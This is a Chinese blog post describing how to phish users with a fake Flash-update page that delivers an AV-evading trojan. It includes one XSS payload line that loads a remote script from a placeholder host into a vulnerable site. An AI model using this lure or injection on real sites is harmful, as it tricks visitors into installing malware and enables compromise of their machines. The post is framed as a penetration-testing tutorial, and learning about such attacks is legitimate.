FLASH也是一个钓鱼竿

  • A+
所属分类:安全文章

点击蓝字,关注我们

        好久没写推文了,怕粉丝忘了自己,于是写一下钓鱼的那些事,不过还不错的例子~

        今天就使用flash更新作为诱饵,进行钓鱼。在渗透当中,想要控制终端的PC,一般采用宏病毒文件或者flash钓鱼,但flash钓鱼需要满足两个:

1、免费的空间2、一个正常上线的马(最好能免杀)3、免费的域名

将代码文件传送到空间或者自己的服务器,

FLASH也是一个钓鱼竿

就这几个文件,再将自己的马放在同目录下,在js文件修改马地址,我这里为了演示跳转到百度。

FLASH也是一个钓鱼竿

修改完,就可以访问网站,就得到这个页面。是不是很真实,如果一般新手应该会点击升级。不然一直弹窗他也烦~哈哈哈

FLASH也是一个钓鱼竿

再看看index.html的文件内容,内容相当简单。

FLASH也是一个钓鱼竿

没什么复杂,就是加载了一个js文件,那么xss漏洞的网站,也是可以测试的哦~

<script src="http://xxxx/flash.js"></script>

如图,我在本地搭建了具有xss漏洞的代码,将弹窗代码传参进入得到

FLASH也是一个钓鱼竿

效果图,也是很逼真,个人感觉还是很不错的一个钓鱼竿~

至于代码嘛,在公众号回复“钓鱼竿”就可以得到了,该项目是某位大佬的开源项目~

文章声明:该工具、教程仅供学习参考,请勿非法使用。否则与作者无关!

FLASH也是一个钓鱼竿

扫二维码|关注我们

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: